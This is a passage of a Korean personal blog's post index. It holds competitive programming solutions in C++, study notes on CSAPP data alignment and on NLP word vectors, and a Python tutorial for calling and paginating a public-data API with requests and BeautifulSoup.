있다. 이렇게 하면 $C(j, i) = min(c_{s_i}, \\dots, c_{e_j})$ 로 조금 더 단순화가 된다. 그런데, 날짜가 생각보다 많지 않지 않나? 저걸 날짜 하나하나에다가 풀어도 되지 않을까? 이것도 모노톤 스택으로 구현 가능하다. DP식을 다시 세우자 $\\text{DP}[i]$ = i번째 날까지, 이날 전시를 보고, 이날 볼수있는 전시들까지 모두 보았을때 최소비용 전이 식은? $\\text{DP}[i] = \\min\\limits_{s_i \\leq e_j}(\\text{DP}[j]) + c_i$ 범위를 세그먼트 트리 + 이분 탐색으로 찾아가며 $O(N\\log^2N)$ 도 되겠지만, 범위 최솟값이므로 덱 트릭을 이용할 수 있다! 💻 풀이 코드 (C++): void solve(){ cin \u0026gt;\u0026gt; N \u0026gt;\u0026gt; M; rep(i, 1, N+1) cin \u0026gt;\u0026gt; C[i]; exhibits.resize(M); rep(i, 0, M) cin \u0026gt;\u0026gt; exhibits[i].first \u0026gt;\u0026gt; exhibits[i].second; // s_i \u0026lt; s_j \u0026amp;\u0026amp; e_i \u0026lt; e_j 만 남기기 sort(all(exhibits)); vector\u0026lt;pii\u0026gt; new_exhibits; stack\u0026lt;pii\u0026gt; stk; for(auto [s, e]: exhibits){ while(!stk.empty() \u0026amp;\u0026amp; stk.top().second \u0026gt;= e) stk.pop(); stk.push({s, e}); } while(!stk.empty()){ new_exhibits.push_back(stk.top()); stk.pop(); } reverse(all(new_exhibits)); M = new_exhibits.size(); // 덱 트릭을 이용한 DP 최적화 DP[0] = 0; deque\u0026lt;pll\u0026gt; dq; // (idx, val) dq.push_back({0, DP[0]}); int idx = 0, cur = 0; rep(i, 1, N+1){ if(idx \u0026lt; M \u0026amp;\u0026amp; new_exhibits[idx].second \u0026lt; i){ cur = new_exhibits[idx].first; idx++; } while(!dq.empty() \u0026amp;\u0026amp; dq.front().first \u0026lt; cur) dq.pop_front(); DP[i] = dq.front().second + C[i]; while(!dq.empty() \u0026amp;\u0026amp; dq.back().second \u0026gt;= DP[i]) dq.pop_back(); dq.push_back({i, DP[i]}); } ll ans = 1e18; auto [s_last, e_last] = new_exhibits.back(); rep(i, s_last, e_last+1) ans = min(ans, DP[i]); cout \u0026lt;\u0026lt; ans \u0026lt;\u0026lt; \u0026#34;\\n\u0026#34;; } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-01-22T00:00:00Z","permalink":"/posts/algorithm/ps/260122_algorithm_boj-32607-museum-visit/","title":"BOJ 32607 Museum Visit"},{"content":"📝 문제 정보 링크: https://www.acmicpc.net/problem/12858 🧐 관찰 및 접근 $\\text{gcd}(n, n+1)$은 몇일까? $G = gcd(n, n+1)$이 어떤 소수 $p$를 약수로 가진다고 하자. 이때 $p$는 간격 $p$마다 한개씩 존재한다. $p = 2$면 $p$를 약수로 가진 수는 $2$칸마다 존재한다. 따라서 연속된 두 수는 어떤 공약수인 소수 $p$를 가질 수 없다! 따라서 $\\text{gcd}(n, n+1) = 1$임을 알 수 있다. 같은 방법으로, $\\text{gcd}(a, b) = \\text{gcd}(a, b-a)$ 임도 알 수 있다. 유클리드 호제법에서도 알 수 있듯이! 구간 쿼리지만, Lazy하게 연산하기는 쉽지 않아보인다. 하지만 $\\text{gcd}(x_a, x_{a+1}, x_{a+2}, \\dots, x_b)$ 를 $\\text{gcd}(x_a, x_{a+2} - x_{a+1}, x_{a+3} - x_{a+2}, \\dots, x_b - x_{b-1})$ 이라고 생각하면, 바뀌는 수는 생각보다 많지 않다! Lazy한 합 연산과 최대공약수에 대한 그냥 세그먼트 트리로 풀 수 있지 않을까? 사실 Lazy부분도 구간 덧셈, 점 쿼리이므로 그냥 세그로 바꿀 수 있지만, 귀찮으니까 ㅋㅋ 💻 풀이 코드 (C++): void solve(){ int N; cin \u0026gt;\u0026gt; N; LazySegmentTree LST(N); ST.init(N-1); vector\u0026lt;ll\u0026gt; A(N); rep(i, 0, N) cin \u0026gt;\u0026gt; A[i]; rep(i, 0, N) LST.set(i, A[i]); LST.build(); rep(i, 0, N-1) ST.set(i, abs(A[i+1] - A[i])); ST.build(); int Q; cin \u0026gt;\u0026gt; Q; while(Q--){ ll op, a, b; cin \u0026gt;\u0026gt; op \u0026gt;\u0026gt; a \u0026gt;\u0026gt; b; a--; b--; if(op){ LST.update(a, b, op); if(a-1 \u0026gt;= 0) ST.update(a-1, abs(LST.query(a-1, a-1) - LST.query(a, a))); if(a+1 \u0026lt; N) ST.update(a, abs(LST.query(a+1, a+1) - LST.query(a, a))); }else{ cout \u0026lt;\u0026lt; gcd(LST.query(a, a), ST.query(a, b-1)) \u0026lt;\u0026lt; \u0026#39;\\n\u0026#39;; } } } 🔒 구현 코드 잠금\n아래 쿠팡 링크를 방문하시면 코드가 공개됩니다.\n광고 수익이 블로그 운영에 도움이 됩니다 🙏\n🛒 쿠팡 방문하고 코드 보기 방문 후 잠금이 자동으로 해제됩니다\n","date":"2026-01-21T00:00:00Z","permalink":"/posts/algorithm/ps/260121_algorithm_12858-range-gcd/","title":"BOJ 12858 Range GCD"},{"content":"📝 상세 정리 C는 서로 다른 유형의 객체를 결합해서 데이터 유형을 생성하기 위한 두가지 어쩌구.. struct, union 3.9.1 Structures 다른 유형의 객체를 단일 객체로 그룹화하는 데이터 유형 structure 내의 다른 컴포넌트는 이름으로 참조됨 모든 구성요소가 메모리의 연속 영역에 저장되고, structure에 대한 포인터가 첫번째 바이트의 주소 Array랑 비슷하다! 컴파일러는 각 필드의 바이트 오프셋을 들고있고.. 그걸로 잘 왔다갔다 참조 3.9.2 Unions 단일 객체를 여러 유형에 따라 참조할 수 있도록 함 이게 무슨소리지? struct에서 char, int[2], double이 있다면 char: 01, int: 412, double: 16~24바이트로 총 24바이트 메모리 사용 사이공간은 패딩 Union이었다면 가장 큰것에 맞춰서 그저 8바이트 사용 그때그때 char / int / double로 읽는 것 근데 그럼 이걸 왜쓰냐? 한번에 char / int / double 중 여러 값을 동시에 가지지 않을떄! 책에 나온 예제는 리프노드에만 값이 있는 이진 트리 구조체 왼쪽노드 포인터, 오른쪽노드 포인터, double 2개를 가진다고 해보자 struct는 32바이트, Union이라면 잘 묶어서 16바이트로 처리 가능 다음 예시를 보자. double uu2double(unsigned word0, unsigned word1) { union { double d; unsigned u[2]; } temp; temp.u[0] = word0; temp.u[1] = word1; return temp.d; } 이때 word0 = 0x12345678, word1 = 0x9abcdef0 이라고 하면 temp에는 Little Endian일때 78 56 34 12 f0 de bc 9a Big Endian일땐 12 34 56 78 9a bc de f0 가 저장된다. 이를 d로 읽을 때 Little Endian에서는 0x9abcdef012345678 Big Endian에서는 0x123456789abcdef0 으로 해석하게 된다. (d를 읽을때도 endian 신경썽하니까!!) 3.9.3 Data Alignment 일부 객체들에 대한 주소는 2, 4, 8등의 배수여야함을 요구하는 애들이 있다 이래야 하드웨어 설계가 단순화된다 8의 배수로 정렬되어있으면 메모리 한번만 참조하면 되지만, 아니라면 앞뒤로 분할되어 있는곳에 두번 참조해야할 수도 있음 x86-64는 데이터의 정렬에 관계없이 올바르게 작동하지만, 인텔은 메모리 시스템 성능 향상을 위해 정렬할것을 권고하고 있음 정렬 권장사항은 다음과 같다 K = 1 : char K = 2 : short K = 4 : int, float K = 8 : long, double, char * 아하, 이게 bool 정적 배열보다 bitset이 빠른 이유구나!! 알아서 SIMD를 지원하면서 채워주는거구나!! 그리고 이걸 패딩이라고 하겠구나! .align 8 어셈블리에서 다음과 같은 코드가 있으면, 그 뒤따르는 데이터가 8의 배수읜 주소로 시작될 것을 보장한다. struct S1 { int i; char c; int j; } 가 있다고 가정하면, 4 / 1 / 4 바이트를 쓰는게 아니라 4 / 1 + 3(패딩) / 4 바이트를 쓴다. 결과적으로 j는 오프셋 8을 가지며 전체 구조 크기는 12바이트이다. 또한, 컴파일러는 S1 유형의 포인터 p가 4바이트 정렬을 만족하는지 확인해야한다. ❔질문 사항 일부 객체들에 대한 주소는 2, 4, 8등의 배수여야함을 요구하는 애들이 있고, 이래야 하드웨어 설계가 단순화된다 하드웨어 설계가 단순화된다는건 뭘까? 또한, 컴파일러는 S1 유형의 포인터 p가 4바이트 정렬을 만족하는지 확인해야한다. 안에 있는 원소들 중 K의 최댓값을 기준으로 하나? 🔗 참고 자료 CSAPP ","date":"2026-01-21T00:00:00Z","permalink":"/posts/books/csapp/chapter-03-machine-level-representation/260121_til_csapp-3.9/","title":"CSAPP 3.9 Heterogeneous Data Structures"},{"content":"📝 상세 정리 야호! 자연어처리의 세계로 들어왔다! 문제의 본질은 컴퓨터가 우리의 말을 이해하게 만드는 것 2.1 자연어 처리란 우리가 평소에 쓰는 말을 자연어라고 한다. 자연어 처리 (NLP)는 이 자연어를 처리하는 분야. 컴퓨터가 우리말을 이해하게 만들자 우리의 말은 문자로 구성되며, 말의 의미는 단어로 구성된다. 단어는 의미의 최소단위이다. 따라서 컴퓨터에게 단어의 의미를 이해시키는게 중요하다. 그 방법으로는 시소러스를 활용한 기법 통계 기반 기법 추론 기반 기법 (word2vec) 2.2 시소러스 단어의 의미를 나타내기 위해, 사람이 직접 단어의 의미를 정의해보자. 표준국어 대사전처럼 각각의 단어에 그 의미를 설명해 넣을 수 있을까? EX) 자동차 원동기를 장치하여 그 동력으로 어쩌구 시소러스는 유의어 사전으로, 뜻이 같은 단어나 비슷한 단어를 한 그룹으로 묶은 것 동의어 / 유의어 상위와 하위, 전체와 부분 등 더 세세한 관계까지 정의해둔 경우도 있다. 이 그래프 구조를 단어 네트워크라고 생각하고, 컴퓨터한테 가르칠 수 있지 않을까? WordNet 자연어 처리에서 가장 유명한 시소러스 그런데 이런 시소러스에도 문제가 있는데.. 시대 변화에 대응하기 어렵다 사람을 쓰는 비용은 크다 단어의 미묘한 차이를 표현할 수 있다 2.3 통계 기반 기법 이제부터는 말뭉치(corpus) 를 이용할 것 대량의 텍스트 데이터 맹목적으로 수집한거 말고, 연구나 어플리케이션을 위해 수집한 것 말뭉치 안에는 자연어에 대한 사람의 지식이 충분히 담겨있다고 볼 수 있다! 자연어 처리에는 다양한 말뭉치가 이용되는데 위키백과나 구글뉴스등도 되고 셰익스피어나 나츠메소세키씨 작품이라던지 일단 한번 연습을 해보자. 전처리 텍스트 데이터를 단어로 분할하고 그 분할된 단어들을 단어 ID 목록으로 변환하는 일 단어의 분산 표현 색을 코발트블루/싱크레드처럼 이름붙일수도 있지만, RGB기호로 나타낼 수도 있을 것이다 심지어 그쪽이 색을 더 정확하게 명시할수도 있고, 3개의 성분으로 간결한 표현도 된다 관련성 여부도, 정량화하기도 쉽다!! 그렇다면 단어도 이렇게 벡터로 표현할 수 있을까? 이를 단어의 분산 표현 이라고 하자 분포 가설 많은 연구들과 기법들이 있었는데, 그 뿌리는 다음과 같다. 단어의 의미는 주변 단어에 의해 형성된다 이를 분포 가설이라고 한다. 이는 단어 자체에는 의미가 없고, 그 단어가 사용된 맥락이 의미를 형성한다는 것을 내포한다. 앞으로 맥락이란 주변에 놓인 단어들을 가리킬 것이다. 윈도우 크기가 k라면 좌우 k단어씩, v[idx-k:idx+k+1] 을 의미한다. 일단 먼저 주변 단어를 세어보는 방법이 자연스럽게 떠오른다! 이를 통계 기반 기법이라고 하자. id값의 종류를 크기로 하는 벡터를 id에 대해 연결해서, $N^2$ 행렬을 만들 수 있다. 이를 동시발생 행렬이라고 하자. 이제 벡터 사이 유사도를 측정하자. 내적.. 유클리드거리.. 등등 모두 쓸 수 있겠지만 우리는 코사인 유사도를 이용하자. $\\text{similarity}(\\mathbf{x}, \\mathbf{y}) = \\frac{\\mathbf{x} \\cdot \\mathbf{y}}{||\\mathbf{x}|| \\, ||\\mathbf{y}||} = \\frac{x_1 y_1 + \\cdots + x_n y_n}{\\sqrt{x_1^2 + \\cdots + x_n^2} \\sqrt{y_1^2 + \\cdots + y_n^2}}$ 이때 ${||\\mathbf{x}||}$는 노름이다. 값은 -1에서 1 사이가 나온다. 이걸로 내림차순을 하든 뭘하든 해서 유사도를 계산할 수 는 있지만\u0026hellip; 말뭉치가 작으면 문제가 많다. 2.4 통계 기반 기법 개선하기 두 단어를 그냥 이렇게 생으로 하면.. 문제가 깊다 the car의 the같이 괘씸한 놈이 존재함 점별 상호정보량 (PMI) $\\text{PMI}(x, y) = \\log_2 \\frac{P(x, y)}{P(x)P(y)}$ $P(x), P(y), P(x, y)$ 는 각각 x가 일어날 확률, y가 일어날 확률, 동시에 일어날 확률 이 PMI값이 높을수록 관련성이 높다 이는 동시발생 행렬을 이용해서 다시 쓸 수 있는데 $= \\log_2 \\frac{\\frac{C(x, y)}{N}}{\\frac{C(x)}{N} \\frac{C(y)}{N}} = \\log_2 \\frac{C(x, y) \\cdot N}{C(x) C(y)}$ 하지만 이때 동시발생횟수가 0이면 $log_2 0$ 을 계산해야한다는 문제가 있다\u0026hellip; 따라서 양의 상호정보량을 사용하자. $= \\text{PPMI}(x, y) = \\max(0, \\text{PMI}(x, y))$ 0 이상의 실수로 표현하는게 가능해졌다! 거대한 문제가 생겼다 단어가 $N$개면 차원 또한 $N$개가 된다!!! 심지어 대부분은 0이다 차원 감소 물론 중요한 정보는 최대한 유지하면서 차원을 줄여야한다. sparse한 행렬/벡터를 중요한 축을 잘 찾아서 dense한 행렬/벡터로 만들어야 한다 특잇값분해(SVD) 임의의 행렬을 세 행렬의 곱으로 분해 $\\mathbf{X} = \\mathbf{U}\\mathbf{S}\\mathbf{V}^T$ $\\mathbf{U}, \\mathbf{V}$는 직교행렬 $\\mathbf{S}$는 대각행렬 근데 이게 시간복잡도가 $O(N^3)$이라서, Truncated SVD같은걸 이용하기도 한다. 특잇값이 작은걸 버리는 방식 PTB 데이터셋 본격적인 적당한 말뭉치를 이용해보자! 여러가지 전처리는 좀 해두셨다 희소한 단어를 \u0026lt;unknown\u0026gt;으로 바꾸기 구체적인 숫자르 N으로 수정하기 각 문장의 끝에 \u0026lt;eos\u0026gt; (end of sentence) 추가하기 결과가 재밌다! 신기하네 2.5 정리 우리는 단어의 의미를 벡터로 인코딩하는데 성공했다! 와! 심지어 SVD를 이용해서 차원을 감소시키고 더 좋은 벡터를 얻어냈다! 와!! ❔질문 사항 윈도우를 이용해서 하면, 문법적인것 (굴절어, 교착어 등)에 대한 정보가 손실되지 않나? I say hello와 hello say I가 같은 의미를 가지게 되니까. 직교행렬을 공부하자 선형대수를 공부해야한다 ㅁㄴㅇㄹㅁㄴㅇㄹ 🔗 참고 자료 ","date":"2026-01-20T00:00:00Z","permalink":"/posts/books/deep-learning-from-scratch-2/260120-%EB%B0%91%EB%B0%94%EB%8B%A5%EB%B6%80%ED%84%B0-%EC%8B%9C%EC%9E%91%ED%95%98%EB%8A%94-%EB%94%A5%EB%9F%AC%EB%8B%9D-2-2%EC%9E%A5/","title":"2장"},{"content":"API Application Programming Interface 어플리케이션이 서로 소통하기 위한 인터페이스 / 규칙 / 프로토콜\n네이버와 소통하기 위한 네이버 API 구글과 소통하기 위한 구글 API 공개되어 모든 사람들이 접속할 수 있는 오픈 API 와 같이 이해할 수 있겠다.\nAPI 호출해보기 POSTMAN API를 여러개 호출해보고 관리하기 위한 플랫폼 직접 날려보는거 연습은 여기서 하는게 제일 편하다. 주소\n파이썬 사실 다들 API를 날리려는 목적이 데이터 수집 등일테니, 파이썬으로 바로 날려보자. 간단하게 파이썬의 requests라는 라이브러리를 이용해보자.\n라이브러리 세팅 우선 가상환경을 세팅하거나 하고, requests 라이브러리를 깐 적이 없다면\npip install requests 와 같은 명령어를 통해 라이브러리를 설치하자.\nAPI 호출 다음과 같이 API를 호출해볼 수 있다.\nimport requests r = requests.get(\u0026#39;https://httpbin.org/get\u0026#39;) print(r.json()) # {\u0026#39;args\u0026#39;: {}, \u0026#39;headers\u0026#39;: {\u0026#39;Accept\u0026#39;: \u0026#39;*/*\u0026#39;, \u0026#39;Accept-Encoding\u0026#39;: \u0026#39;gzip, deflate\u0026#39;, \u0026#39;Host\u0026#39;: \u0026#39;httpbin.org\u0026#39;, \u0026#39;User-Agent\u0026#39;: \u0026#39;python-requests/2.32.3\u0026#39;, \u0026#39;X-Amzn-Trace-Id\u0026#39;: \u0026#39;Root=1-681cb4a7-5d1f2758285456d213f3c296\u0026#39;}, \u0026#39;origin\u0026#39;: \u0026#39;180.229.161.36\u0026#39;, \u0026#39;url\u0026#39;: \u0026#39;https://httpbin.org/get\u0026#39;} HTTP Method로 Get 요청을 날린건데, 이게 궁금하다면 http를 검색해서 찾아보는것도 좋을 것이다. 데이터만 모을거면 스킵해도\u0026hellip;\nurl과 헤더 다음과 같이 requests.get 함수는 url, param, data 등을 받게 되어있다. 이걸 위해 예시로 생활안전정보 편의점 API 를 살펴보자.\nurl은 위에 나와있는 대로 http://safemap.go.kr/openApiService/data/getConvenienceStoreData.do\n와 같이, 직접 api 요청을 날릴 주소이고,\nparam은 보통 query param으로 주소창의 ?뒤에 들어가는 변수들이다. data는 보통 posts에서 담는 본문으로, 게시글 등록 등에서 쓰인다.\n따라서 저 API에서 필수로 요구하는 5가지 파라미터인 serviceKey, numOfRows, pageNo, dataType, Fclty_Cd 를 param 변수로 넣어주면 될 것 같다. 이를 구현해보면 다음과 같다.\nimport requests URL = \u0026#34;http://safemap.go.kr/openApiService/data/getConvenienceStoreData.do?pageNo=2\u0026amp;numOfRows=10\u0026amp;dataType=XML\u0026amp;Fclty_Cd=509010\u0026amp;serviceKey=FY0E9MKY-FY0E-FY0E-FY0E-FY0E9MKYT7\u0026#34; PARAMS = { \u0026#34;serviceKey\u0026#34;: \u0026#34;자신의 API KEY\u0026#34;, \u0026#34;numOfRows\u0026#34;: 10, \u0026#34;pageNo\u0026#34;: 2, \u0026#34;dataType\u0026#34;: \u0026#34;XML\u0026#34;, \u0026#34;Fclty_Cd\u0026#34;: \u0026#34;509010\u0026#34; } result = requests.get(url=URL, params=PARAMS) print(result.text) # print(result.json()) PARAMS는 딕셔너리로 작성하면 된다. 이때 결과를 보니 써있는대로 XML파일이다. text로 안된다면 json으로도 시도해보기. 아니면 응답 잘 나왔는지 status_code같은걸로 확인해보기.\nXML 파싱 GPT한테 물어보니 xml.etree.ElementTree라는 표준 라이브러리가 있다고 알려준다. 좋은 세상이다.\nimport xml.etree.ElementTree as ET import pandas as pd root = ET.fromstring(result.text) datas = [] for item in root.find(\u0026#39;body\u0026#39;).find(\u0026#39;items\u0026#39;).findall(\u0026#39;item\u0026#39;): data = { child.tag: child.text for child in item } datas.append(data) df = pd.DataFrame(datas) print(df) 이렇게 하면 깔끔하게 DataFrame으로 만들어진다. csv파일로 바꾸기도 편하겠지.\n근데\n\u0026lt;FCLTY_NM\u0026gt;씨스페이스\u0026lt;안산테콤점\u0026gt;\u0026lt;/FCLTY_NM\u0026gt; 이런상황에서 버그가 나서..\nbeautifulsoup를 쓰는게 나아보인다.\npip install bs4 진행한 후\nraw = result.text soup = BeautifulSoup(raw, \u0026#34;lxml-xml\u0026#34;) items = soup.find_all(\u0026#34;item\u0026#34;) for it in items: data = {} for child in it.find_all(recursive=False): data[child.name] = child.get_text(strip=True) datas.append(data) 이와 같이 마무리했다.\nJson 파싱 나중에 쓸 일 생기면 추가하겠다.\nAPI 호출 자동화 이제 편의점 자료를 다 모으려면.. 이걸 페이지네이션을 돌던가 거대한 입력을 한번 받으면 될거같다. 거대하게 받는건 좀 짜치니 페이지네이션을 도는걸 해보자.\nimport requests import pandas as pd import xml.etree.ElementTree as ET from bs4 import BeautifulSoup URL = \u0026#34;http://safemap.go.kr/openApiService/data/getConvenienceStoreData.do\u0026#34; API_KEY = \u0026#34;자신의 API 키\u0026#34; ROW_SIZE = 1000 datas = [] page = 1 while True: PARAMS = { \u0026#34;serviceKey\u0026#34;: API_KEY, \u0026#34;numOfRows\u0026#34;: ROW_SIZE, \u0026#34;pageNo\u0026#34;: page, \u0026#34;dataType\u0026#34;: \u0026#34;XML\u0026#34;, \u0026#34;Fclty_Cd\u0026#34;: \u0026#34;509010\u0026#34; } result = requests.get(url=URL, params=PARAMS) raw = result.text soup = BeautifulSoup(raw, \u0026#34;lxml-xml\u0026#34;) items = soup.find_all(\u0026#34;item\u0026#34;) if not items: break for it in items: data = {} for child in it.find_all(recursive=False): data[child.name] = child.get_text(strip=True) datas.append(data) print(f\u0026#34;페이지 {page} 완료: {len(items)}건\u0026#34;) page += 1 if len(items) \u0026lt; ROW_SIZE: break df = pd.DataFrame(datas) df.to_csv(\u0026#34;convenience_store.csv\u0026#34;, index=False, encoding=\u0026#39;utf-8-sig\u0026#39;) 와 같은 구조로 진행할 수 있다.\n뭐 말이 길었지만 결국 이거 붙여넣고 API키 입력하면 잘 됩니다.\n마무리 딱히 마무리로 할말은 없는데 API 막쏘다가 할당량 안넘치게만 조심하자.\n","date":"2025-05-08T00:00:00Z","permalink":"/posts/etc/%ED%8C%8C%EC%9D%B4%EC%8D%AC-api-%EC%84%A4%EB%AA%85/","title":"파이썬 API 설명"}]